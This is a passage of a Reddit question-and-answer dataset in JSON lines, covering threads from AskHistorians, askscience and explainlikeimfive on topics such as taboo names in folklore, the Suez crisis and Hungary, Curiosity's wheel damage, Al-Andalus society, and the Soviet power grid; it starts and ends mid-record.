prohibition about name use had more to do with respect than power.\n\nThe following is an excerpt from my [Introduction to Folklore](_URL_0_) dealing with this:\n\n > Specifically naming certain mountains, animals, supernatural beings, and other things could be prohibited, particularly in their presence. Various cultures have consequently provided a range of noa names for various things. Anthropologists also refer to these alternative means of address as circumlocutions. A noa name is used under circumstances when the actual name would be taboo. Northern European bakers avoided naming the fire, but instead spoke of the heat. Butchers would not refer to blood. They replaced that word with \u201csweat.\u201d\n\n > The English word \u201cbear\u201d descends from the Proto-Germanic root *beron meaning \u201cbrown one.\u201d This was apparently a way of avoiding the original word *rkto, from which was related to the Latin ursus. In this case, prehistoric speakers of ancestral English presumably avoided the actual name until it ceased to be remembered. Ethnographic evidence from the northern latitudes indicate that one should not name the bear in its presence (that is, in the forest) or when planning to hunt for a bear. Compare, for example, Russian medved, which means honey eater, and Swedish sotfot, meaning \u201csweet foot.\u201d Both refer to the bear\u2019s interest in honey. Native American Shoshoni politely discuss the bear as \u201cour father\u2019s sister.\u201d\n\n > Words applied to the supernatural beings of nature provide what appear to be additional examples of circumlocution, which are particularly pertinent for a discussion of folklore. The English word \u201celf\u201d descends from a root word that apparently described a shimmering, shiny appearance. It is related to the name Alps, the Swiss mountains, and the River Elbe in Germany. Because the term \u201celf\u201d originally referred to a characteristic of the supernatural beings as opposed to what had been an actual, presumably-taboo name, it would be easy to assume that this term is a circumlocution. It is possible, however, that there never was a proper name for these supernatural beings, who were simply discussed in polite, descriptive ways. Eventually, however, people forgot the original meaning of the term \u201celf,\u201d and as it became regarded as a proper name, various other circumlocutions including the \u201cgood neighbors\u201d or the \u201cfair folk\u201d became alternatives safer than saying \u201celf.\u201d \n\n > Similar circumlocutions are found elsewhere, Scandinavian elves are often called hulderfolk or simply huldre, meaning the \u201chidden folk\u201d or the \u201chidden ones.\u201d The Irish word for fairies, sidhe (hence, for example, banshee \u2013 woman fairy), was once a noa name that made reference to living in a mound. But again, there may have been no taboo, proper name that was being avoided. Centuries of use have made the term sidhe sacred, and it is now avoided. Instead the Irish may speak of the \u201cwee folk\u201d or the \u201cbeautiful ones.\u201d Each culture can have a range of contrasting noa and taboo words, even if there are only linguistic remnants of this practice.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com/Introduction-Folklore-Traditional-Studies-Elsewhere/dp/1521423261/ref=asap_bc?ie=UTF8"]]}
{"q_id": "1wxd8p", "title": "How much did the Suez crisis affect Krushchev's decision-making about the Hungarian uprising?", "selftext": "So I'm reading up on Hungary, and according to Bryan Cartledge in *The Will to Survive*, Krushchev was on the fence for a while about how to deal with the Hungarian revolution of 1956. He is quoted as saying:\n\n > [By withdrawing from Hungary] we would demonstrate the weakness of our position. In this case our party would not understand us. Besides Egypt we would be giving away Hungary too. We have no other choice.\n\nSo, my questions are:\n\n* How much did the Suez crisis affect Krushchev's decision-making about the Hungarian uprising?\n\n* What did Krushchev mean with that quote?\n\n* How much, if any, influence did the USSR have in Egypt, and how did Suez affect that?\n\nBonus points to anyone who can recommend me some good histories of post-1867 Hungary!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wxd8p/how_much_did_the_suez_crisis_affect_krushchevs/", "answers": {"a_id": ["cf697tz"], "score": [3], "text": ["The Soviets certainly believed they had more influence in Egypt than they did.  When the US/UK backed out of funding the Aswan High Dam--one of Nasser's great modernization projects for Egypt--it was supposed to bring him to heel and back into line, but in fact he went with Soviet aid.  The Sevres collusion over Suez was supposed to stop this supposed march of Nasser and Khrushchev towards one another.  Of course, in the end, Nasser went firmly with non-alignment, which didn't quite please the Soviets either--but that hadn't happened yet.\n\nIn terms of Hungary, I can't tell you about internal Soviet thinking, but I can tell you how the relationship read in Egypt and London/Washington, which may tell you what Khrushchev meant in the quote.  Basically, the Anglo-Franco-Israeli action over Suez freed the Soviet hand to act in Hungary with force--because the hypocrisy of damning one and not the other would be too great.  They couldn't engage more actively in Egypt, but they could and would in Hungary.  By linking the two, they made it harder to damn either separately, and both Eden and Eisenhower were very painfully aware of the fact."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "60raxg", "title": "Why is the wheel damage on the Curiosity rover so bad compared to Opportunity?", "selftext": "Recently in the news [curiosity's wheel damage](_URL_0_) has been a subject of worry. I have yet to see a concise explanation as to why exactly the wheel damage is so bad compared to the 13 year old curiosity rover. Why is that, whats different between the two rovers or the two terrains?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/60raxg/why_is_the_wheel_damage_on_the_curiosity_rover_so/", "answers": {"a_id": ["df8uswx", "df97gor", "df99ll5", "df9mgw4"], "score": [2125, 141, 39, 4], "text": ["Oppurtunity weighs 174kg,  while curiosity weighs 900kg. Also Oppurtunity top speed is 0.1miles/h while curiosity does 3.35miles/h. \n\nI have a feeling you are underestimating curiosity's size, check out these pictures _URL_0_", "It was a new wheel design using milled aluminium incredibly thin (like 0.75 millimeters thick I think).  Allowing it to be light but also flex so it would absorb the bumps in the terrain.  There is a video of one of the engineers discussing this somewhere (before the launch) but I can't find it.", "Curiosity has driven: 9.77 miles (15.73 kilometers) as of Sol 1632. : Where is Curiosity? - Mars Science Laboratory - Mars Home - NASA\n\n_URL_3_\n\nArchived reddit post: I looked up the Mars rover's odometer out of curiosity and was a bit surprised by the results. Here's an overlay of its Martian journey between August 2012 and June 2016, superimposed on Earth.\n _URL_5_\n\n_URL_0_\n\nInteractive track map of Curiosity (Mars Science Laboratory)\n\n_URL_1_\n\nWhere are Spirit and Oppurtunity now?\n\n_URL_4_\n\nThe Apollo 17 rover had driven: 22.30 miles (35.89 km) Farthest away from the Landing Module was 4.7 miles (7.6 km)\n\n_URL_2_", "Haven't seen this explanation linked yet: _URL_0_\n\nMost thorough write-up of it I've seen so far. TL;DR  they were designed to flex in response to the terrain, but the engineers didn't know there would be nails embedded in the ground where Curiosity landed. More importantly, the wheels needed to be lightweight since every ounce counts when you've never tried a rocket-crane landing before (increasing the thickness by 1mm would add 10kg to the rover's total mass), so all things considered it probably wasn't a bad trade-off since the landing was successful and it's reasonable enough for them to plan Curiousity's path around babying the wheels now that they know about the weakness."]}, "title_urls": [], "selftext_urls": ["http://www.space.com/26472-mars-rover-curiosity-wheel-damage.html"], "answers_urls": [["https://marsmobile.jpl.nasa.gov/images/Evans_Mars_Yard.jpg"], [], ["http://www.techtimes.com/articles/167895/20160630/distance-covered-by-the-mars-curiosity-rover-doesnt-even-cover-manhattan.htm", "http://curiosityrover.com/rovermap1.html", "https://en.wikipedia.org/wiki/Lunar_Roving_Vehicle#Usage", "https://mars.jpl.nasa.gov/msl/mission/whereistherovernow/", "https://mars.nasa.gov/mer/mission/traverse_maps.html", "https://www.reddit.com/r/space/comments/4qk86w/i_looked_up_the_mars_rovers_odometer_out_of/"], ["http://www.planetary.org/blogs/emily-lakdawalla/2014/08190630-curiosity-wheel-damage.html"]]}
{"q_id": "ccvrsn", "title": "why are main dishes in the us called \u201centr\u00e9es\u201d when that word literally means \u201cappetizers\u201d in french?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ccvrsn/eli5_why_are_main_dishes_in_the_us_called_entr\u00e9es/", "answers": {"a_id": ["etpmrvl", "etpn61j"], "score": [27, 15], "text": ["Because among rich French people, entrees in the 18th century would includes roasts and and things that Americans at the time would consider main dishes.  As time went on, multiple course meals became less common and the meat dish entree disappeared but because the main dish had similar food, the word entree transfered to the main dish instead.  To a lot of Americans, the word had been mistaken to mean the \"meat dish\" basically and since the main dish was typically the meat dish, the term came to mean any main dish.", "It doesn't really mean appetizer. It means the first course (which isn't the same as an appetizer) of a 5 course meal which was at one point common place for the upper class. Over time menus were shortened to reflect the demand for less courses and the extra 4 courses were pretty much done away with leaving only the a first course (entr\u00e8e) which was somewhat a combination of all the courses. So yes the word doesn't literally mean  the main course a meal but it's not an appetizer either."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "18tptv", "title": "Can graphene safely degrade in the environment without hurting plants or animals?", "selftext": "I was watching [this video](_URL_0_) and they put graphene in with grass clippings, but would it be safe if it was, say, eaten by an animal. I wonder because I read something on carbon nano tubes being really really bad because it can't be broken down any further by a stomach. Is there nanotubes in graphene that would make it hurt the environment somehow? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18tptv/can_graphene_safely_degrade_in_the_environment/", "answers": {"a_id": ["c8hx40a"], "score": [3], "text": ["Nanotubes are tubular, and graphene is planar; so their structure is totally different. Famously graphene was produced using a block of graphite and some sellotape, so it must be naturally occurring whenever you have a pencil and something agitating it. Any environmental effects would be common to places with graphite flakes, eg a bin with pencil sharpenings."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=OtM6XJlynkk"], "answers_urls": [[]]}
{"q_id": "1bdj64", "title": "[Sponsored Content] How does my body gain energy from eating a fast food burger with special sauce?", "selftext": "Also please explain why HFCS is especially good for the mind body and soul.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bdj64/sponsored_content_how_does_my_body_gain_energy/", "answers": {"a_id": ["c95vw83", "c96au8y"], "score": [90, 12], "text": ["The special sauce acts as a blood buffer and carries the calories 1 by 1, down a calorific gradient into the gallbladder via the krebs cycle. \nThe calories then vibrate with each other really fast to create thermal potential energy which in turn causes the body to heat up. ", "I love McDonalds!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "43uktc", "title": "this gif i just saw on r/all", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43uktc/eli5_this_gif_i_just_saw_on_rall/", "answers": {"a_id": ["czl116a", "czl129x", "czl16yi", "czl1efg"], "score": [17, 2, 5, 2], "text": ["Not a hovercraft. It's a hydrofoil. Hovercraft use forced air to keep aloft, while a hydrofoil is more like an airplane wing for the water. They are designed such that, once at speed, the foil lifts the hull out of the water to reduce drag.", "Imagine showing this to a sailor of the past. Amazing. Hydrofoils dude. Little water wings.", "What do you want explained?\n\nThat's Larry Ellison's America's Cup sailing boat.  They're doing a turn, so the crew moves from one side to the other to shift the balance and keep the sail from toppling the ship.  It's got a [wing](_URL_1_) rather than a sail (to catch more wind and generate \"lift\"), is a [hydrofoil](_URL_2_) rather than a typical ship hull (allowing it to exceed the [hull speed](_URL_0_) limit).  All of this allows the boat to sail substantially [faster than the wind](_URL_3_) (it's a racing boat designed to be the fastest sailing boat in the world).  ", "A hovercraft uses air forced downwards and contained within a skirt. The hull is forced up and no part of it touches the water. Forward motion is provided by propellers, like aircraft."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Hull_speed", "https://en.wikipedia.org/wiki/Wingsail", "https://en.wikipedia.org/wiki/Hydrofoil", "https://en.wikipedia.org/wiki/Sailing_faster_than_the_wind"], []]}
{"q_id": "1yz9eg", "title": "snoozing", "selftext": "Does it help or hurt your sleep cycle? If it is bad why do so many people do it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yz9eg/eli5_snoozing/", "answers": {"a_id": ["cfpfuli"], "score": [3], "text": ["There is a great [video](_URL_0_) on this by ASAPscience.\n\nBasically what they are talking about is an alarm clock interrupts your sleep cycle. Our bodies naturally produce chemicals to wake ourselves up and give us energy. Shocking ourselves awake in the middle of that process, you can find yourself being fairly tired in that instant. But by pressing the snooze button on your alarm clock, you can actually reenter that sleep cycle and fall back into deep sleep.\nSo basically, it's better to wake up right away when you hear that alarm. People do it because they feel tired without those natural chemicals the brain produces to give you energy to start your day so they want more sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=P6zcSFA7ymo"]]}
{"q_id": "4a6xc1", "title": "why are psychiatrists called shrinks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a6xc1/eli5_why_are_psychiatrists_called_shrinks/", "answers": {"a_id": ["d0xvsmv"], "score": [29], "text": ["It is short for head shrinker.\n\nIn the mid 20th Century, shrunken heads were a recurring theme in adventure movies.  Very loosely based some real tribal customs, the movie would portray indigenous peoples as primitive savages, complete with the bone through the nose, who would take the heads of their slain enemies, remove the skulls, embalm them, and keep them as trophies.\n\nComparing mental health professionals to head shrinkers suggests they mess with peoples head in a similarly crude and inexact manner."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1et1qy", "title": "What was society like in Arab Spain? Was the European lifestyle left more or less intact, while Islamic culture was left to the leading minority? How much bilingualism and intermarriage was there? Did villagers even know or care that their country was ruled by Muslims?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1et1qy/what_was_society_like_in_arab_spain_was_the/", "answers": {"a_id": ["ca3lnyw", "ca3mvr9", "ca3mwah", "ca3pb3e"], "score": [36, 8, 185, 2], "text": ["There was actually a sort of \"language\" spoken by Christians in Muslim Iberia that was a romance language, but written in arabic script. I'm not an expert on the subject, but I imagine there must be some scholars who know more?\n\n_URL_0_", "This is from chapter 2 of [Infidels: A History of the Conflict Between Christianity and Islam](_URL_0_): *For the most part, apart from the occasional outburst of mutual antagonism, all managed to live side by sid...the cultures acquired characteristics in common, while still maintaining their distinct and separate and  identities...the superficial differences between the different groups (Christians, Muslims, and Jews) diminished. Yet the communities remained distinct: they preserved their customs and observed their own laws.* The Islamic ruling class was a thin veneer over a largely Christian society and was itself divided between Berbers and Arabs. So, the accommodation of religious minorities was at least, in part, a practical solution. Wheatcroft relates that Muslims and Christians spoke of each other in terms of fear and disgust (pp. 68-69). Even though they lived side by side for centuries there was still a lot of mutual misunderstanding as well as a fear of religious contamination. This situation lasted for about three hundred years and then Christians and Jews were either forced to convert or migrate north to Christian kingdoms. Of course the roles were reversed during the reconquista. ", "I just took a final exam yesterday for Islamic Civilization in Spain and North Africa, taught by a professor of Semitic Studies at the Universidad de Granada, so I can give some quick and dirty answers until someone with more expertise comes along.\n\n* Spain was ruled by Arab leaders from about the time of the conquest to the end of the Omeya caliphate (711-1031), after which a civil war split Al-Andalus into a ton of different kingdoms, some of which were ruled by Arabs (Zaragoza) and some by Berbers, who were muslims from North Africa (Granada). Later, Berber dynasties invaded from Morocco and after a time were largely defeated by Christian forces from the north, save for Granada, ruled by the Nasrids until 1492.\n\n* During the time the Arab Omeya dynasty was in charge, Christians and Jews were allowed to continue practicing their religion as long as they abided by certain laws limiting their power and paid a special tax. A lot of the Christians of Al-Andalus became arabized, and were referred to as Mozarabs, where converts to Islam were called mulad\u00edes. Some Christians scholars like Paulus Alvarus bemoaned the arabization of Christians and worried it would lead to the demise of Latin Christianity.\n\n* Arabic was widely spoken among Christian and Jewish scholars, in fact of the first Hebrew grammars is written in Arabic and compares the two language structures. Mozarabs and mulad\u00edes would occasionally try to \"pass\" as Arab to increase their social mobility, as Arabs made up the upper classes. They would take on Arab names and create fictitious geneaologies. \n\n* A Muslim man could marry a Christian or Jewish woman, but not a pagan woman. His wife could keep her religion, but her children would be Muslim. Maliki scholars discouraged these marriages because they worried about Christian influence on Islam, but they happened anyway. Conversely, a Muslim woman was forbidden from marrying outside of her faith. If the wife in a Christian couple converted to Islam, her husband would have to convert with her or divorce her. Bonus fact: a few contemporary sources describe the Omeya caliphs as having blonde hair and blue eyes due to the fact that their mothers were slave women (esclavones) bought from the north, usually France or Germany.\n\n* Due to the way agriculture was revolutionized in Al-Andalus and the sheer amount of time that the Iberian Peninsula was under Arab rule, together with the taxes that Christians and Jews had to pay for not being Muslim, I would hazard a guess that even the most rural villages were aware of who was in charge. As to whether they cared, the people who did were free to flee northward to where Christians still held power, which is what a lot of Visigoth landowners did when their lands were confiscated and distributed among their serfs during the conquest. There were some minor revolts in C\u00f3rdoba in the 9th century. A mulad\u00ed rebel, Ibn Hafsun fought against Abd al-Rahman III in the 10th century in what some historians interpret as an Andalusian nationalist movement against Arabs, but he was eventually defeated.", "I know little of the subject, all I can say is that many spanish words have arabic influence, and some, arabic origin. Here is a glossary of spanish words with arabic origin:\n\nA: aceite, almohada, aceituna, alfombra, aduana, arroz\n\nB: ba\u00f1o, barrio, bata, balde, baza, bellota\n\nC: caf\u00e9, cifra, chaleco, chisme, cequia, cohol\n\nD: dado, daga, div\u00e1n, dante, destartalado-da, dinar\n\nE: escabeche, elixir, elche, embarazar, engarzar, escaque\n\nF: fideo, foz, falagar, faquir, farda, fulano-na\n\nG: granad\u00ed, galima, guarismo, gab\u00e1n, gandul-la, garroba\n\nH: hola, har\u00e9n, hach\u00eds, haza\u00f1a, hasta, harma\n\nI: imam, islam, imela\n\nJ: jinete, jirafa, jarra, jud\u00eda, jota, joroba\n\nK: kermes\n\nL: la\u00fad, lim\u00f3n, lima, laca, leila, lat\u00f3n\n\nM: meca, marroqu\u00ed, mazmorra, mezquino, mezquita, muslim o muslime\n\nN: n\u00e1car, n\u00e1cara, nuca, noria, naranja, nazar\u00ed\n\nO: ol\u00e9, ojal\u00e1, otomano, ol\u00edbano, orzaga\n\nP: para\u00edso\n\nQ: quintal, quiosco, quilate\n\nR: reh\u00e9n, rabal, rasmia, rubia, ronda, rinc\u00f3n\n\nS: sand\u00eda, seraf\u00edn, sult\u00e1n, sorbete, saharaui, siroco\n\nT: tabique, taza, tambor, talco, taifa, tarima\n\nU: ulema\n\nV: valija, val\u00ed, visir\n\nY: yemen\u00ed\n\nZ: zanahoria, zoco, zaf\u00edo, zoquete, zurrapa, zamacuco-ca"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mozarabic_language"], ["http://books.google.com/books?id=SD_Cyz-XW3sC&amp;printsec=frontcover&amp;dq=infidels+christianity+and+islam&amp;hl=en&amp;sa=X&amp;ei=_XacUYGyJ4fs0QHEqIDYAg&amp;ved=0CC0Q6AEwAA#v=onepage&amp;q=muslim%20spain&amp;f=false"], [], []]}
{"q_id": "8md7vd", "title": "how does the process of suing work? can anyone sue anyone for anything?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8md7vd/eli5_how_does_the_process_of_suing_work_can/", "answers": {"a_id": ["dzmnnw5", "dzmpe8r", "dzmq8ut", "dzmstkq", "dzmu3ov"], "score": [10, 9, 46, 4, 2], "text": ["Technically, yes, you can sue anyone for (almost) anything, but whether or not a judge will actually want to hear it, is another story.", "You can sue anyone for anything, but if you very clearly have no real legal grounds or even vaguely reasonable argument, then A) no competent lawyer will represent you, so you either have an incompetent one (bad) or you represent yourself (probably even worse), and B) no judge will let you go anywhere with it. ", "In the United States, you sue somebody by submitting a document called a **complaint** with a court.  A complaint is a list of allegations and a request for relief (e.g., money).  The allegations are facts that, if proven, would entitle the person filing to the relief they're looking for.\n\nSo for example, a simple complaint (without all of the surrounding legalese) for battery might look like:\n\n >  1. On May 26, 2018, John Smith intentionally punched me in the nose.\n >  2.  I was taken to the hospital to care for the injuries directly resulting from the punch, and accrued $1,000 in medical bills.\n >  3.  I seek $1,000 in damages.\n\nAfter the complaint is filed, things get complicated.  The person being sued is notified of they complaint (this is what's meant by **service of process**), and they can respond in a whole lot of different ways.  After this initial back and forth comes **discovery**, where the parties to the suit can make each other hand over documents and other evidence to each other.  After that comes the **trial**, where the parties argue about whether the facts are true to a judge or jury.  At various points along the way, the judge can **dismiss** the case for various reasons.  At any point the parties can **settle** the case, where the plaintiff (person suing) agrees to withdraw the case, usually in exchange for something from the defendant (person being sued).\n\nYes, you can sue anybody for anything, but if your case doesn't have merit, it will get dismissed pretty fast.  People with mental health issues often do stuff like suing the President because the CIA put listening devices in their underwear.  People often sue for things that don't give rise to relief--i.e., things that aren't illegal (\"my neighbor looked at me funny\").  Those cases don't last very long.  If a lawyer files a case like that, he or she is likely to be sanctioned (ordered to pay money to the court).  If a non-lawyer does it many times, they may be prohibited from filing more lawsuits without the court's approval.", "In order for a lawsuit to succeed, you must have a valid \u201ccause of action\u201d. That is, you must allege a specific wrong that entitles you to relief. There are many kinds of causes of action. Some are explicitly written into law, and some are recognized by convention.\n\nFor example, if I sued the local bakery because they stopped offering my favorite dessert, this lawsuit would be dismissed almost immediately, because even if the facts are exactly as I alleged them, there is no valid cause of action. The bakery has no obligation to keep making my favorite dessert.\n\nIf I sued the bakery because (I claim) the bakery is working with the CIA to spy on me via dental implants, then this *is* a valid cause of action. It is not okay for the bakery to spy on me via dental implants! This is a serious invasion of privacy, and I have likely suffered as a result. I might reasonably ask for monetary compensation for my suffering and an order that the bakery cease spying on me. However, if my claim is not supported by evidence (as one imagines it might not be in this case), then the case will swiftly be dismissed.", "Internet personality Maddox just sued his former business partner, Dick Masterson, for defamation because Dick called him a \u201ccuck\u201d online.  Maddox wanted $20 million for it.  The judge threw it out.  Everyone involved probably paid about $30k for lawyers.  So, yeah, you can sue all you want for whatever you want, but you\u2019re more likely to just burn a lot of cash and waste the court\u2019s time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1hxkyl", "title": "what does this drug do and how does it work?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hxkyl/eli5_what_does_this_drug_do_and_how_does_it_work/", "answers": {"a_id": ["cayxjot", "caz0qba"], "score": [3, 6], "text": ["Maybe you will get a more profound answer to this question if you ask it in /r/askscience. It is not personal medical help, so this question should be allowed :)", "I'll give it a try. Here's how the drug was *supposed* to work:\n\nThe immune system has a few different types of specialized cells that do work throughout the body to keep it healthy. One of these cell types is a \"T cell,\" which is a specialized white blood cell that develops in the **t**hymus--hence the name T cell.\n\nSome diseases, like B-cell lymphoma and rheumatoid arthritis, are characterized by a lack of T cell activity. When there's not enough T cells doing their job in the body, the whole immune system goes out of whack. So scientists have been trying to find a way to increase the number and activity of T cells for years.\n\nTGN1412 was a complex molecule engineered and produced to attach to T cells and kind of turbocharge them. It did this well in non-human animals.\n\nIn humans, the drug had unexpected \"adverse effects\"--very serious ones--the cause of which is still not completely understood. Furthermore, there are serious questions about how the trial itself was conducted.\n\nLemme know if that's too simple or too complicated, and I can adjust. :)"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/TGN1412"], "answers_urls": [[], []]}
{"q_id": "ahnm2z", "title": "What was the Tartessos culture in southern spain? Who where they related to, and how did it vanish?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ahnm2z/what_was_the_tartessos_culture_in_southern_spain/", "answers": {"a_id": ["eegjm8y"], "score": [15], "text": ["We know of the \"Tartessian\" culture from relatively recent archaeological and linguistic work (mid-20th century to present) in SW Spain, especially at sites like Huelva and Dona Blanca along the corridor of the Guadalquivir River. The culture is typical Early Iron Age, dating (roughly) from the 8th to 5th centuries BCE, though its precursors stretch back into the Iberian Bronze Age. We have a decent number of inscriptions (about one hundred now, I believe), though many do not have a great deal of syntax preserved. As of now, the classification of the language remains unsolved. Many think it is a branch of Celtic, which would make sense, but for now the proof is lacking. Others think it is an isolated, non-Indo-European language with heavy borrowings from Celtic (which could also make sense; cf Basque). \n\nThe \"Tartessos\" name is from Greek, and passed into Greek from the Near East (I think this is the case). It was a legendary place beyond the Pillars of Herculues (Straits of Gibraltar) known for its richness in metals, especially tin and silver. Most of that was simply legend until the middle of the 20th century, when discoveries related to the Phoenician presence in the West were made in Iberia, Sardinia, North Africa, etc by the German Archaeological Service. \n\nWe now know that the Phoenicians came to \"Tartessos,\" the region beyond the Straits at the estuary of the Guadalquivir, in the early to mid-8th century BCE, almost certainly in pursuit of metals. They underwent extractive trade arrangements with the Tartessian elite, trading bulk metals for finished goods from Phoenician artisans. Excavations have, in general, uncovered typical Iron Age \"Warrior Graves\" containing a mix of local Iberian goods and a plethora of Phoenician/Carthaginian, North Syrian, and some Greek finished wares. Around 750-700 BCE, the Phoenicians established an island enclave at Gadir, at the mouth of the river, now called Cadiz. Excavation there is very poor for several reasons, one of which is the presence of the large modern city on top of the site. But up the coast at Dona Blanca, another, smaller Phoenician site at Dona Blanca has enjoyed a modern excavation effort and has produced the types of finds which we now know are typical of Phoenician presence (red slip pottery of predictable and regular type, for example). \n\nThe \"disappearance\" of the Tartessian culture is not really a disappearance. The Phoenician mother cities (Tyre, Sidon) ended their adventure in the West by the middle of the 7th century due to troubles back home in the Levant. Carthage became her own master, but shifted attention to other ventures. Nearly all the Iberian Phoenician sites show signs of decline or abandonment by about 660 BCE (including those at the Guadalquivir and those along the Costa del Sol in Andalusia). The Phoenicians had brought intensive activity and prosperity to the region, and their departure probably only hastened what would have happened anyway: a decline in the archaeologically-visible \"warrior graves\" as their local Iron Age progressed. After that, Iberia increasingly came under the sphere of Carthaginian influence, and then after that under Roman influence. \n\nThere is a very recent book in English about this topic: Sebasti\u00e1n Celestino and Carolina L\u00f3pez-Ruiz, *Tartessos and the Phoenicians in Iberia* (Oxford 2016). I haven't looked at it myself, but I hear it is excellent with the caveat that we (collectively) sometimes want to ascribe too much sophistication to certain societies because they are \"ours\" (ie in our country). The publisher's summary begins \"This is the first book in English about the earliest historical civilization in the western Mediterranean...\".  No comment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7sarj3", "title": "hypothetically if you were to tattoo a 2 inch circle on an baby\u2019s back, what would it look like when they were an adult?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7sarj3/eli5_hypothetically_if_you_were_to_tattoo_a_2/", "answers": {"a_id": ["dt3dl08", "dt3duhd"], "score": [10, 10], "text": ["Leaving aside the very probable child abuse charges, it would grow with the kid. But, since the circle is getting larger, it would grow fainter.", "It would also distort, we don't grow symmetrically. \n\nAlso, as evidenced by blaschko lines, we know that skin grows in segments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1sh2jr", "title": "Did the Soviet electrical grid resemble the contemporaneous United States' grid?", "selftext": "The post-war Soviet Union must have faced the same challenges as any other grid planner.  There are baseline electrical levels, variable and peak demand that all must be accounted for.  There are a variety of generation elements that can be used.  How did they solve this planning problem?\n\nDid the Soviet Union meter their electrical output?\n\nHow did their composition of electrical generation change over time?\n\nWere black-outs and brown-outs rare or common?\n\nThe [wiki article](_URL_0_) is surprisingly sparse.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1sh2jr/did_the_soviet_electrical_grid_resemble_the/", "answers": {"a_id": ["cdxmgk3", "cdxo4c1", "cdxsk84"], "score": [10, 2, 6], "text": ["'Initially, there were ten regional grids, which by the 1970s were gradually combined into a unified national grid that handled 75 percent of total electricity output. In 1976 the Soviet grid was connected to that of East Europe.' - From this [source](_URL_1_).\n\nThe Soviet Union did meter their electrical output. *Energy Choices in Russia* by Robert Ebel does show that their electrical output was recorded, at least from 1970 onwards, although I think that data is fairly scarce before the 1970s. Some sources online also corroborate this. \nThe data below is from the extract of the book you can see [here](_URL_0_) on google books by typing in 'electric'. I have a copy somewhere, but I've never read it and digging it up is going to take a while.\n\nSoviet Electric Power Supply (billion kWh):\n\n* 1970 - 741\n\n* 1980 - 1,294\n\n* 1990 - 1,728\n\n\nAs to the last part, due to the Soviet Union's vast size, they never actually lacked for energy, but any blackouts would have been caused by regional disparities in energy supply. \n\n'Regional coverage was uneven, since most of the fossil fuels were located in the north and east, whereas the major population centers and industry were in the west. Twenty percent of the energy was consumed in transporting the coal, gas, and fuel-oil to thermal power stations located near industrial zones.' - From the source linked above.\n\nHope that answers your question.\n", "The Soviet Union began electrification immediately following the Russian Civil War in 1921. Lenin proudly said that \"Communism equals Soviet power plus electrification of the entire nation.\" The problem was that the Soviet Union had vast measures of resource wealth, with large sums of fossil fuels, however they were located far from the places that needed power. Large deposits were mainly in the East, within Siberia, while majority of the population and energy demands were in European Russia. Estimates that during the early Soviet Union train usage for fossil fuel transportation was near 70%. However the initial cost of fossil fuel reactors being so cheap left the Soviet Union with few options. \n\nLater on to alleviate the burden of transportation costs they began experimenting with Nuclear Power. They did this for the power, however also for the research on Nuclear Reactors which they could use within military craft, notably submarines. These could be built \"on site\" closer to where the power demands were without needing to either transport electricity or the fossil fuels. \n\nTherefore, I think there are similarities between the US and the Soviet Union. However there is differences. They both started with fossil fuel and gradually went into alternative methods; nuclear, hydroelectric. Also using Nuclear Power as a test bed for Nuclear Reactors,. But the Soviet Union had greater problems with transportation than the United States, and it led to divergent solutions. \n", " > There are a variety of generation elements that can be used. How did they solve this planning problem?\n---\n\nBy building and running automated Unified Energy System^[2,3]. In general, electricity was generated with large surplus and it was possible to re-route very quickly to any part of the system. Overload protection and load balancing measures were standardized and built-in from low level up to highest-level distribution centers. Transit electrical wires were mostly underground in cities and on huge masts ([\u041b\u042d\u041f](_URL_2_) - Line of Electrical Transfer) in between^[1]. No tangled-wire mess over city streets - partially explains why blackouts were rare, as storms can't knock out underground wiring easily, \u041b\u042d\u041f are also very sturdy, many still standing after 50+ years without much service.\n\n > Did the Soviet Union meter their electrical output?\n---\n\nYes. One rate for industry and another (single, no consumption tiers) rate for individual consumers (higher than for industry, but very low comparing to current rates in Russia or USSR). \n\n > How did their composition of electrical generation change over time?\n---\n\nAt first, most of electricity was generated from dried peat (which was harvested from massive swamps and with right management is renewable resource) and coal. In 30s, kind of in sync with US, a push to build huge hydroelectric stations (similar to Hoover Dam) was initiated. First dams were put on Volga, Don, Dnieper. It continues well into 70s. Siberian rivers like Yenisei, Lena, Angara are very powerful and it's possible to generate a lot of cheap electricity from river dams. There were several semi-failures - for example, Ob'HES (hydroelectric station on Ob' river, near Novosibirsk) never managed 